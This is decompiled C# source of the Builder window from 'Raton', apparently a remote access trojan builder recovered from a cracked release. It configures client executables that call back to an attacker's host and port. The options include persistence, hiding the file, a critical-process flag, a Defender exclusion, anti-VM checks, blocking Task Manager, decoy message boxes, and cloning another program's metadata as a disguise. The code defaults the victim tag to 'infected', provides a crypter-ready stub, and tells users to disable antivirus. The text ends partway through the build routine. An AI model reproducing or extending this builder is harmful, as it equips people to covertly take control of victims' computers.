835 lines
33 KiB
C#
835 lines
33 KiB
C#
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Raton.Windows.Builder
|
||
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||
|
|
|
||
|
|
using DarkModeForms;
|
||
|
|
using dnlib.DotNet;
|
||
|
|
using dnlib.DotNet.Emit;
|
||
|
|
using Microsoft.Win32;
|
||
|
|
using Mono.Cecil;
|
||
|
|
using Server.Classes;
|
||
|
|
using Stuff;
|
||
|
|
using System;
|
||
|
|
using System.CodeDom.Compiler;
|
||
|
|
using System.Collections.Generic;
|
||
|
|
using System.ComponentModel;
|
||
|
|
using System.Diagnostics;
|
||
|
|
using System.IO;
|
||
|
|
using System.Net.Http;
|
||
|
|
using System.Runtime.InteropServices;
|
||
|
|
using System.Threading.Tasks;
|
||
|
|
using System.Windows;
|
||
|
|
using System.Windows.Controls;
|
||
|
|
using System.Windows.Controls.Primitives;
|
||
|
|
using System.Windows.Input;
|
||
|
|
using System.Windows.Interop;
|
||
|
|
using System.Windows.Markup;
|
||
|
|
using System.Windows.Media;
|
||
|
|
using System.Windows.Media.Animation;
|
||
|
|
using System.Windows.Media.Imaging;
|
||
|
|
using Vestris.ResourceLib;
|
||
|
|
|
||
|
|
#nullable disable
|
||
|
|
namespace Raton.Windows;
|
||
|
|
|
||
|
|
public partial class Builder : Window
|
||
|
|
{
|
||
|
|
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
|
||
|
|
private string _mutx = Helpers.Random(23);
|
||
|
|
private string _selectedIconPath = string.Empty;
|
||
|
|
private int _activeTab;
|
||
|
|
private Border[] _navBorders;
|
||
|
|
private Border[] _navAccents;
|
||
|
|
private TextBlock[] _navIcons;
|
||
|
|
private TextBlock[] _navLabels;
|
||
|
|
|
||
|
|
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
|
||
|
|
private static extern int DwmSetWindowAttribute(
|
||
|
|
IntPtr hwnd,
|
||
|
|
int attr,
|
||
|
|
ref int attrValue,
|
||
|
|
int attrSize);
|
||
|
|
|
||
|
|
public Builder()
|
||
|
|
{
|
||
|
|
this.InitializeComponent();
|
||
|
|
this.WindowStartupLocation = WindowStartupLocation.CenterOwner;
|
||
|
|
this._navBorders = new Border[5]
|
||
|
|
{
|
||
|
|
this.NavCommon,
|
||
|
|
this.NavNetwork,
|
||
|
|
this.NavExecution,
|
||
|
|
this.NavAssembly,
|
||
|
|
this.NavAgreement
|
||
|
|
};
|
||
|
|
this._navAccents = new Border[5]
|
||
|
|
{
|
||
|
|
this.AccCommon,
|
||
|
|
this.AccNetwork,
|
||
|
|
this.AccExecution,
|
||
|
|
this.AccAssembly,
|
||
|
|
this.AccAgreement
|
||
|
|
};
|
||
|
|
this._navIcons = new TextBlock[5]
|
||
|
|
{
|
||
|
|
this.IcoCommon,
|
||
|
|
this.IcoNetwork,
|
||
|
|
this.IcoExecution,
|
||
|
|
this.IcoAssembly,
|
||
|
|
this.IcoAgreement
|
||
|
|
};
|
||
|
|
this._navLabels = new TextBlock[5]
|
||
|
|
{
|
||
|
|
this.LblCommon,
|
||
|
|
this.LblNetwork,
|
||
|
|
this.LblExecution,
|
||
|
|
this.LblAssembly,
|
||
|
|
this.LblAgreement
|
||
|
|
};
|
||
|
|
try
|
||
|
|
{
|
||
|
|
this.TxtAgreement.Text = Raton.Properties.Resources.AgreementText;
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
this.TxtAgreement.Text = "[Agreement text not found]";
|
||
|
|
}
|
||
|
|
this.Loaded += (RoutedEventHandler) ((s, e) => this.PlayFadeIn());
|
||
|
|
}
|
||
|
|
|
||
|
|
private void PlayFadeIn()
|
||
|
|
{
|
||
|
|
DoubleAnimation animation = new DoubleAnimation(0.0, 1.0, new Duration(TimeSpan.FromSeconds(0.35)));
|
||
|
|
DoubleAnimation doubleAnimation = animation;
|
||
|
|
CubicEase cubicEase = new CubicEase();
|
||
|
|
cubicEase.EasingMode = EasingMode.EaseOut;
|
||
|
|
doubleAnimation.EasingFunction = (IEasingFunction) cubicEase;
|
||
|
|
this.RootGrid.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation);
|
||
|
|
this.ApplyDarkMode();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ApplyDarkMode()
|
||
|
|
{
|
||
|
|
bool flag = this.IsWindowsDarkMode();
|
||
|
|
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
|
||
|
|
int attrValue = flag ? 1 : 0;
|
||
|
|
Builder.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
|
||
|
|
}
|
||
|
|
|
||
|
|
private bool IsWindowsDarkMode()
|
||
|
|
{
|
||
|
|
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
|
||
|
|
{
|
||
|
|
if (registryKey != null)
|
||
|
|
{
|
||
|
|
if (registryKey.GetValue("AppsUseLightTheme") is int num)
|
||
|
|
return num == 0;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
private void AnimateTabSwitch(int from, int to)
|
||
|
|
{
|
||
|
|
if (from == to)
|
||
|
|
return;
|
||
|
|
this.MainTabs.SelectedIndex = to;
|
||
|
|
if (!(new TabItem[5]
|
||
|
|
{
|
||
|
|
this.TabCommon,
|
||
|
|
this.TabNetwork,
|
||
|
|
this.TabExecution,
|
||
|
|
this.TabAssembly,
|
||
|
|
this.TabAgreement
|
||
|
|
}[to].Content is FrameworkElement content))
|
||
|
|
return;
|
||
|
|
TranslateTransform translateTransform = new TranslateTransform(0.0, 14.0);
|
||
|
|
content.RenderTransform = (Transform) translateTransform;
|
||
|
|
content.Opacity = 0.0;
|
||
|
|
DoubleAnimation animation1 = new DoubleAnimation(0.0, 1.0, new Duration(TimeSpan.FromSeconds(0.2)));
|
||
|
|
DoubleAnimation doubleAnimation1 = animation1;
|
||
|
|
CubicEase cubicEase1 = new CubicEase();
|
||
|
|
cubicEase1.EasingMode = EasingMode.EaseOut;
|
||
|
|
doubleAnimation1.EasingFunction = (IEasingFunction) cubicEase1;
|
||
|
|
DoubleAnimation animation2 = new DoubleAnimation(14.0, 0.0, new Duration(TimeSpan.FromSeconds(0.2)));
|
||
|
|
DoubleAnimation doubleAnimation2 = animation2;
|
||
|
|
CubicEase cubicEase2 = new CubicEase();
|
||
|
|
cubicEase2.EasingMode = EasingMode.EaseOut;
|
||
|
|
doubleAnimation2.EasingFunction = (IEasingFunction) cubicEase2;
|
||
|
|
content.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation1);
|
||
|
|
translateTransform.BeginAnimation(TranslateTransform.YProperty, (AnimationTimeline) animation2);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void SetActiveNav(int index)
|
||
|
|
{
|
||
|
|
int activeTab = this._activeTab;
|
||
|
|
this._activeTab = index;
|
||
|
|
for (int index1 = 0; index1 < this._navBorders.Length; ++index1)
|
||
|
|
{
|
||
|
|
bool flag = index1 == index;
|
||
|
|
this._navBorders[index1].Style = flag ? (Style) this.FindResource((object) "SideNavActive") : (Style) this.FindResource((object) "SideNav");
|
||
|
|
this._navIcons[index1].Style = flag ? (Style) this.FindResource((object) "NavIcoActive") : (Style) this.FindResource((object) "NavIco");
|
||
|
|
this._navLabels[index1].Style = flag ? (Style) this.FindResource((object) "NavLblActive") : (Style) this.FindResource((object) "NavLbl");
|
||
|
|
this._navAccents[index1].Style = flag ? (Style) this.FindResource((object) "NavAccentActive") : (Style) this.FindResource((object) "NavAccent");
|
||
|
|
}
|
||
|
|
this.AnimateTabSwitch(activeTab, index);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void Nav_Common_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(0);
|
||
|
|
|
||
|
|
private void Nav_Network_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(1);
|
||
|
|
|
||
|
|
private void Nav_Execution_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(2);
|
||
|
|
|
||
|
|
private void Nav_Assembly_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(3);
|
||
|
|
|
||
|
|
private void Nav_Agreement_Click(object sender, MouseButtonEventArgs e) => this.SetActiveNav(4);
|
||
|
|
|
||
|
|
private void TogPassword_Changed(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
if (this.TxtPassword == null)
|
||
|
|
return;
|
||
|
|
TextBox txtPassword = this.TxtPassword;
|
||
|
|
bool? isChecked = this.TogPassword.IsChecked;
|
||
|
|
bool flag = true;
|
||
|
|
int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
|
||
|
|
txtPassword.IsEnabled = num != 0;
|
||
|
|
}
|
||
|
|
|
||
|
|
private void TogDate_Changed(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
if (this.DatePicker1 == null)
|
||
|
|
return;
|
||
|
|
DatePicker datePicker1 = this.DatePicker1;
|
||
|
|
bool? isChecked = this.TogDate.IsChecked;
|
||
|
|
bool flag = true;
|
||
|
|
int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
|
||
|
|
datePicker1.IsEnabled = num != 0;
|
||
|
|
}
|
||
|
|
|
||
|
|
private void BtnBrowseIcon_Click(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
OpenFileDialog openFileDialog = new OpenFileDialog();
|
||
|
|
openFileDialog.Filter = "Icon Files|*.ico;*.exe";
|
||
|
|
openFileDialog.Title = "Select a client icon";
|
||
|
|
bool? nullable = openFileDialog.ShowDialog();
|
||
|
|
bool flag = true;
|
||
|
|
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
|
||
|
|
return;
|
||
|
|
string fileName = openFileDialog.FileName;
|
||
|
|
switch (Path.GetExtension(fileName).ToLower())
|
||
|
|
{
|
||
|
|
case ".ico":
|
||
|
|
this._selectedIconPath = fileName;
|
||
|
|
this.ShowIconPreview(fileName);
|
||
|
|
break;
|
||
|
|
case ".exe":
|
||
|
|
System.Drawing.Icon associatedIcon = System.Drawing.Icon.ExtractAssociatedIcon(fileName);
|
||
|
|
if (associatedIcon == null)
|
||
|
|
break;
|
||
|
|
string str = Path.Combine(Path.GetTempPath(), $"raton_icon_{Helpers.Random(8)}.ico");
|
||
|
|
using (FileStream outputStream = new FileStream(str, FileMode.Create))
|
||
|
|
associatedIcon.Save((Stream) outputStream);
|
||
|
|
associatedIcon.Dispose();
|
||
|
|
this._selectedIconPath = str;
|
||
|
|
this.ShowIconPreview(str);
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ShowIconPreview(string icoPath)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
BitmapImage bitmapImage = new BitmapImage();
|
||
|
|
bitmapImage.BeginInit();
|
||
|
|
bitmapImage.UriSource = new Uri(icoPath, UriKind.Absolute);
|
||
|
|
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||
|
|
bitmapImage.DecodePixelWidth = 32 /*0x20*/;
|
||
|
|
bitmapImage.EndInit();
|
||
|
|
this.IconPreviewImg.Source = (ImageSource) bitmapImage;
|
||
|
|
this.IconPreviewImg.Visibility = Visibility.Visible;
|
||
|
|
this.IconPlaceholder.Visibility = Visibility.Collapsed;
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void TxtHost_KeyDown(object sender, KeyEventArgs e)
|
||
|
|
{
|
||
|
|
if (e.Key != Key.Return)
|
||
|
|
return;
|
||
|
|
this.AddHost();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void BtnAddHost_Click(object sender, RoutedEventArgs e) => this.AddHost();
|
||
|
|
|
||
|
|
private void BtnRemoveHost_Click(object sender, RoutedEventArgs e) => this.RemoveHost();
|
||
|
|
|
||
|
|
private void AddHost()
|
||
|
|
{
|
||
|
|
string newItem = this.TxtHost.Text.Trim();
|
||
|
|
if (newItem.Length < 5)
|
||
|
|
Builder.ShowMsg("Please add a valid host.", "Error", MessageBoxImage.Hand);
|
||
|
|
else if (!newItem.Contains(":"))
|
||
|
|
Builder.ShowMsg("Host must be in IP:Port format.", "Error", MessageBoxImage.Hand);
|
||
|
|
else if (this.HostList.Items.Contains((object) newItem))
|
||
|
|
{
|
||
|
|
Builder.ShowMsg("This host is already in the list.", "Warning", MessageBoxImage.Exclamation);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
this.HostList.Items.Add((object) newItem);
|
||
|
|
this.HostList.SelectedIndex = this.HostList.Items.Count - 1;
|
||
|
|
this.TxtHost.Clear();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void RemoveHost()
|
||
|
|
{
|
||
|
|
if (this.HostList.SelectedItem == null)
|
||
|
|
Builder.ShowMsg("Please select a host to remove.", "Error", MessageBoxImage.Hand);
|
||
|
|
else
|
||
|
|
this.HostList.Items.Remove(this.HostList.SelectedItem);
|
||
|
|
}
|
||
|
|
|
||
|
|
private async void BtnGetIP_Click(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
HttpClient client = new HttpClient();
|
||
|
|
string stringAsync = await client.GetStringAsync("https://api.ipify.org");
|
||
|
|
client.Dispose();
|
||
|
|
this.TxtHost.Text = stringAsync.Trim();
|
||
|
|
client = (HttpClient) null;
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
this.TxtHost.Text = "127.0.0.1";
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void TogMsgBox_Changed(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
if (this.TxtMsgTitle == null)
|
||
|
|
return;
|
||
|
|
bool? isChecked = this.TogMsgBox.IsChecked;
|
||
|
|
bool flag1 = true;
|
||
|
|
bool flag2 = isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue;
|
||
|
|
this.TxtMsgTitle.IsEnabled = flag2;
|
||
|
|
this.TxtMsgBody.IsEnabled = flag2;
|
||
|
|
}
|
||
|
|
|
||
|
|
private void TogWebsite_Changed(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
if (this.TxtWebsite == null)
|
||
|
|
return;
|
||
|
|
TextBox txtWebsite = this.TxtWebsite;
|
||
|
|
bool? isChecked = this.TogWebsite.IsChecked;
|
||
|
|
bool flag = true;
|
||
|
|
int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
|
||
|
|
txtWebsite.IsEnabled = num != 0;
|
||
|
|
}
|
||
|
|
|
||
|
|
private void TogAssembly_Changed(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
if (this.TxtAsmProduct == null)
|
||
|
|
return;
|
||
|
|
bool? isChecked = this.TogAssembly.IsChecked;
|
||
|
|
bool flag1 = true;
|
||
|
|
bool flag2 = isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue;
|
||
|
|
this.TxtAsmProduct.IsEnabled = flag2;
|
||
|
|
this.TxtAsmDescrip.IsEnabled = flag2;
|
||
|
|
this.TxtAsmCompany.IsEnabled = flag2;
|
||
|
|
this.TxtAsmCopyright.IsEnabled = flag2;
|
||
|
|
this.TxtAsmFilename.IsEnabled = flag2;
|
||
|
|
this.TxtAsmVersion.IsEnabled = flag2;
|
||
|
|
this.BtnClone.IsEnabled = flag2;
|
||
|
|
}
|
||
|
|
|
||
|
|
private void BtnClone_Click(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
OpenFileDialog openFileDialog = new OpenFileDialog();
|
||
|
|
openFileDialog.Filter = "Executable (*.exe)|*.exe";
|
||
|
|
openFileDialog.Title = "Clone assembly from EXE";
|
||
|
|
bool? nullable = openFileDialog.ShowDialog();
|
||
|
|
bool flag = true;
|
||
|
|
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
|
||
|
|
return;
|
||
|
|
string fileName = openFileDialog.FileName;
|
||
|
|
try
|
||
|
|
{
|
||
|
|
ModuleDefinition mainModule = AssemblyDefinition.ReadAssembly(fileName).MainModule;
|
||
|
|
string str1 = "Nothing";
|
||
|
|
string str2 = "Nothing";
|
||
|
|
string str3 = "Nothing";
|
||
|
|
string str4 = "Nothing";
|
||
|
|
string str5 = "Nothing";
|
||
|
|
foreach (Mono.Cecil.CustomAttribute customAttribute in mainModule.Assembly.CustomAttributes)
|
||
|
|
{
|
||
|
|
string fullName = customAttribute.AttributeType.FullName;
|
||
|
|
string str6 = customAttribute.ConstructorArguments.Count > 0 ? (customAttribute.ConstructorArguments[0].Value ?? (object) "Nothing").ToString() : "Nothing";
|
||
|
|
if (fullName == "System.Reflection.AssemblyProductAttribute")
|
||
|
|
str1 = str6;
|
||
|
|
if (fullName == "System.Reflection.AssemblyCompanyAttribute")
|
||
|
|
str2 = str6;
|
||
|
|
if (fullName == "System.Reflection.AssemblyDescriptionAttribute")
|
||
|
|
str3 = str6;
|
||
|
|
if (fullName == "System.Reflection.AssemblyCopyrightAttribute")
|
||
|
|
str4 = str6;
|
||
|
|
if (fullName == "System.Reflection.AssemblyVersionAttribute")
|
||
|
|
str5 = str6;
|
||
|
|
}
|
||
|
|
this.TxtAsmDescrip.Text = str3;
|
||
|
|
this.TxtAsmProduct.Text = str1;
|
||
|
|
this.TxtAsmCompany.Text = str2;
|
||
|
|
this.TxtAsmFilename.Text = fileName;
|
||
|
|
this.TxtAsmCopyright.Text = str4;
|
||
|
|
this.TxtAsmVersion.Text = str5;
|
||
|
|
Builder.ShowMsg("Loaded successfully by module.", "Assembly", MessageBoxImage.Asterisk);
|
||
|
|
}
|
||
|
|
catch (BadImageFormatException ex)
|
||
|
|
{
|
||
|
|
FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(fileName);
|
||
|
|
this.TxtAsmDescrip.Text = versionInfo.FileDescription ?? "Nothing";
|
||
|
|
this.TxtAsmProduct.Text = versionInfo.ProductName ?? "Nothing";
|
||
|
|
this.TxtAsmCompany.Text = versionInfo.CompanyName ?? "Nothing";
|
||
|
|
this.TxtAsmFilename.Text = versionInfo.FileName ?? "Nothing";
|
||
|
|
this.TxtAsmCopyright.Text = versionInfo.LegalCopyright ?? "Nothing";
|
||
|
|
this.TxtAsmVersion.Text = versionInfo.ProductVersion ?? "Nothing";
|
||
|
|
Builder.ShowMsg("Loaded successfully by System.", "Assembly", MessageBoxImage.Asterisk);
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Builder.ShowMsg(ex.Message, "Error", MessageBoxImage.Hand);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void Nav_Save_Click(object sender, MouseButtonEventArgs e) => this.SaveConfig();
|
||
|
|
|
||
|
|
private void Nav_Load_Click(object sender, MouseButtonEventArgs e) => this.LoadConfig();
|
||
|
|
|
||
|
|
private void SaveConfig()
|
||
|
|
{
|
||
|
|
if (this.HostList.SelectedItem == null)
|
||
|
|
{
|
||
|
|
Builder.ShowMsg("Please choose a host before exporting (at least 127.0.0.1:0000).", "Error", MessageBoxImage.Hand);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
SaveFileDialog saveFileDialog = new SaveFileDialog();
|
||
|
|
saveFileDialog.Filter = "Raton Config (*.ratonfig)|*.ratonfig";
|
||
|
|
saveFileDialog.Title = "Save configuration";
|
||
|
|
saveFileDialog.DefaultExt = "ratonfig";
|
||
|
|
saveFileDialog.FileName = "myBuild.ratonfig";
|
||
|
|
bool? nullable = saveFileDialog.ShowDialog();
|
||
|
|
bool flag = true;
|
||
|
|
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
|
||
|
|
return;
|
||
|
|
string[] strArray = this.HostList.SelectedItem.ToString().Split(':');
|
||
|
|
string contents = $"[RATON]\n<DNS>{Builder.Fix(strArray[0])}<DNS>\n<Port>{Builder.Fix(strArray[1])}<Port>\n<Startup>{Builder.Fix(Builder.BoolStr(this.TogStartup.IsChecked))}<Startup>\n<Hide>{Builder.Fix(Builder.BoolStr(this.TogHideFile.IsChecked))}<Hide>\n<ProcessCritical>{Builder.Fix(Builder.BoolStr(this.TogProCri.IsChecked))}<ProcessCritical>\n<PasswordCheck>{Builder.Fix(Builder.BoolStr(this.TogPassword.IsChecked))}<PasswordCheck>\n<Password>{Builder.Fix(this.TxtPassword.Text)}<Password>\n<Tag>{Builder.Fix(this.TxtTag.Text)}<Tag>\n<Delay>{Builder.Fix(this.TxtDelay.Text)}<Delay>\n<Exclusion>{Builder.Fix(Builder.BoolStr(this.TogDefender.IsChecked))}<Exclusion>\n<MsgBoxEnabled>{Builder.Fix(Builder.BoolStr(this.TogMsgBox.IsChecked))}<MsgBoxEnabled>\n<MsgBoxTitle>{Builder.Fix(this.TxtMsgTitle.Text)}<MsgBoxTitle>\n<MsgBoxDesc>{Builder.Fix(this.TxtMsgBody.Text)}<MsgBoxDesc>\n<AntiVM>{Builder.Fix(Builder.BoolStr(this.TogAntiVM.IsChecked))}<AntiVM>\n<UACPrompt>{Builder.Fix(Builder.BoolStr(this.TogUAC.IsChecked))}<UACPrompt>\n<BlockTaskMgr>{Builder.Fix(Builder.BoolStr(this.TogBlockTask.IsChecked))}<BlockTaskMgr>\n<Website>{Builder.Fix(Builder.BoolStr(this.TogWebsite.IsChecked))}<Website>\n<WebsiteURL>{Builder.Fix(this.TxtWebsite.Text)}<WebsiteURL>\n<ReconnectDelay>{Builder.Fix(this.TxtReconnect.Text)}<ReconnectDelay>\n<MsgBoxIcon>{Builder.Fix(this.GetSelectedMsgBoxIcon())}<MsgBoxIcon>\n";
|
||
|
|
File.WriteAllText(saveFileDialog.FileName, contents);
|
||
|
|
Builder.ShowMsg("Configuration exported successfully.", "Exported", MessageBoxImage.Asterisk);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void LoadConfig()
|
||
|
|
{
|
||
|
|
OpenFileDialog openFileDialog = new OpenFileDialog();
|
||
|
|
openFileDialog.Filter = "RATON Config (*.ratonfig)|*.ratonfig";
|
||
|
|
bool? nullable = openFileDialog.ShowDialog();
|
||
|
|
bool flag = true;
|
||
|
|
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
|
||
|
|
return;
|
||
|
|
string content = File.ReadAllText(openFileDialog.FileName);
|
||
|
|
if (!content.TrimStart().StartsWith("[RATON]"))
|
||
|
|
{
|
||
|
|
Builder.ShowMsg("This file is corrupted or manually created.", "Error", MessageBoxImage.Hand);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
string newItem = $"{Builder.RV(content, "DNS")}:{Builder.RV(content, "Port")}";
|
||
|
|
if (!this.HostList.Items.Contains((object) newItem))
|
||
|
|
this.HostList.Items.Add((object) newItem);
|
||
|
|
this.HostList.SelectedItem = (object) newItem;
|
||
|
|
this.TogStartup.IsChecked = new bool?(Builder.RV(content, "Startup") == "true");
|
||
|
|
this.TogHideFile.IsChecked = new bool?(Builder.RV(content, "Hide") == "true");
|
||
|
|
this.TogProCri.IsChecked = new bool?(Builder.RV(content, "ProcessCritical") == "true");
|
||
|
|
this.TogPassword.IsChecked = new bool?(Builder.RV(content, "PasswordCheck") == "true");
|
||
|
|
this.TogDefender.IsChecked = new bool?(Builder.RV(content, "Exclusion") == "true");
|
||
|
|
this.TogMsgBox.IsChecked = new bool?(Builder.RV(content, "MsgBoxEnabled") == "true");
|
||
|
|
this.TogAntiVM.IsChecked = new bool?(Builder.RV(content, "AntiVM") == "true");
|
||
|
|
this.TogUAC.IsChecked = new bool?(Builder.RV(content, "UACPrompt") == "true");
|
||
|
|
this.TogBlockTask.IsChecked = new bool?(Builder.RV(content, "BlockTaskMgr") == "true");
|
||
|
|
this.TogWebsite.IsChecked = new bool?(Builder.RV(content, "Website") == "true");
|
||
|
|
string str = Builder.RV(content, "Password");
|
||
|
|
this.TxtPassword.Text = str == "empty" ? "" : str;
|
||
|
|
this.TxtTag.Text = Builder.RV(content, "Tag");
|
||
|
|
this.TxtMsgTitle.Text = Builder.RV(content, "MsgBoxTitle");
|
||
|
|
this.TxtMsgBody.Text = Builder.RV(content, "MsgBoxDesc");
|
||
|
|
this.TxtWebsite.Text = Builder.RV(content, "WebsiteURL");
|
||
|
|
int result1;
|
||
|
|
if (int.TryParse(Builder.RV(content, "Delay"), out result1))
|
||
|
|
this.TxtDelay.Text = result1.ToString();
|
||
|
|
int result2;
|
||
|
|
if (int.TryParse(Builder.RV(content, "ReconnectDelay"), out result2))
|
||
|
|
this.TxtReconnect.Text = Math.Max(3, result2).ToString();
|
||
|
|
switch (Builder.RV(content, "MsgBoxIcon").ToLower())
|
||
|
|
{
|
||
|
|
case "error":
|
||
|
|
this.RbIconError.IsChecked = new bool?(true);
|
||
|
|
break;
|
||
|
|
case "information":
|
||
|
|
this.RbIconInfo.IsChecked = new bool?(true);
|
||
|
|
break;
|
||
|
|
case "warning":
|
||
|
|
this.RbIconWarn.IsChecked = new bool?(true);
|
||
|
|
break;
|
||
|
|
case "question":
|
||
|
|
this.RbIconQst.IsChecked = new bool?(true);
|
||
|
|
break;
|
||
|
|
default:
|
||
|
|
this.RbIconNone.IsChecked = new bool?(true);
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
this.TogPassword_Changed((object) null, (RoutedEventArgs) null);
|
||
|
|
this.TogDate_Changed((object) null, (RoutedEventArgs) null);
|
||
|
|
this.TogMsgBox_Changed((object) null, (RoutedEventArgs) null);
|
||
|
|
this.TogWebsite_Changed((object) null, (RoutedEventArgs) null);
|
||
|
|
this.TogAssembly_Changed((object) null, (RoutedEventArgs) null);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private async void BtnBuildLight_Click(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
await this.RunBuild("Builder\\Client.exe", true);
|
||
|
|
}
|
||
|
|
|
||
|
|
private async void BtnBuildPacked_Click(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
bool? isChecked = this.TogObf.IsChecked;
|
||
|
|
bool flag = true;
|
||
|
|
if (isChecked.GetValueOrDefault() == flag & isChecked.HasValue)
|
||
|
|
Builder.ShowMsg("You can't obfuscate the packaged version.", "Build error", MessageBoxImage.Hand);
|
||
|
|
else
|
||
|
|
await this.RunBuild("Builder\\clientForCrypters.exe", false);
|
||
|
|
}
|
||
|
|
|
||
|
|
private async Task RunBuild(string stub, bool allowObf)
|
||
|
|
{
|
||
|
|
Builder builder = this;
|
||
|
|
string outputFile;
|
||
|
|
MemoryStream ms;
|
||
|
|
if (!File.Exists(stub))
|
||
|
|
{
|
||
|
|
Builder.ShowMsg(Path.GetFileName(stub) + " not found.\nDisable your antivirus before building.", "Build error", MessageBoxImage.Hand);
|
||
|
|
outputFile = (string) null;
|
||
|
|
ms = (MemoryStream) null;
|
||
|
|
}
|
||
|
|
else if (!builder.ValidateBuildInputs())
|
||
|
|
{
|
||
|
|
outputFile = (string) null;
|
||
|
|
ms = (MemoryStream) null;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
SaveFileDialog saveFileDialog = new SaveFileDialog();
|
||
|
|
saveFileDialog.Filter = "Executable (*.exe)|*.exe";
|
||
|
|
saveFileDialog.FileName = "ratonClient";
|
||
|
|
bool? nullable = saveFileDialog.ShowDialog();
|
||
|
|
bool flag1 = true;
|
||
|
|
if (!(nullable.GetValueOrDefault() == flag1 & nullable.HasValue))
|
||
|
|
{
|
||
|
|
outputFile = (string) null;
|
||
|
|
ms = (MemoryStream) null;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
builder.Dispatcher.Invoke((Action) (() => this.Hide()));
|
||
|
|
string[] strArray = builder.HostList.SelectedItem.ToString().Split(':');
|
||
|
|
string selectedHost = strArray[0];
|
||
|
|
string selectedPort = strArray[1];
|
||
|
|
string startupC = Builder.BoolStr(builder.TogStartup.IsChecked);
|
||
|
|
string hideC = Builder.BoolStr(builder.TogHideFile.IsChecked);
|
||
|
|
string pcC = Builder.BoolStr(builder.TogProCri.IsChecked);
|
||
|
|
string passC = builder.TxtPassword.Text;
|
||
|
|
string tagC = string.IsNullOrWhiteSpace(builder.TxtTag.Text) ? "infected" : builder.TxtTag.Text;
|
||
|
|
string delayC = builder.TxtDelay.Text;
|
||
|
|
string defC = Builder.BoolStr(builder.TogDefender.IsChecked);
|
||
|
|
string msgEnC = Builder.BoolStr(builder.TogMsgBox.IsChecked);
|
||
|
|
string msgTitleC = builder.TxtMsgTitle.Text;
|
||
|
|
string msgDescC = builder.TxtMsgBody.Text;
|
||
|
|
string vmC = Builder.BoolStr(builder.TogAntiVM.IsChecked);
|
||
|
|
string uacC = Builder.BoolStr(builder.TogUAC.IsChecked);
|
||
|
|
string blockC = Builder.BoolStr(builder.TogBlockTask.IsChecked);
|
||
|
|
string webC = Builder.BoolStr(builder.TogWebsite.IsChecked);
|
||
|
|
string webUrlC = builder.TxtWebsite.Text;
|
||
|
|
string reconnC = builder.TxtReconnect.Text;
|
||
|
|
string iconC = builder.GetSelectedMsgBoxIcon();
|
||
|
|
string rawC = builder.TxtPasteLink.Text;
|
||
|
|
if (rawC == "https://paste.ee/d/dQKrJpQJ")
|
||
|
|
rawC = "silly21";
|
||
|
|
outputFile = saveFileDialog.FileName;
|
||
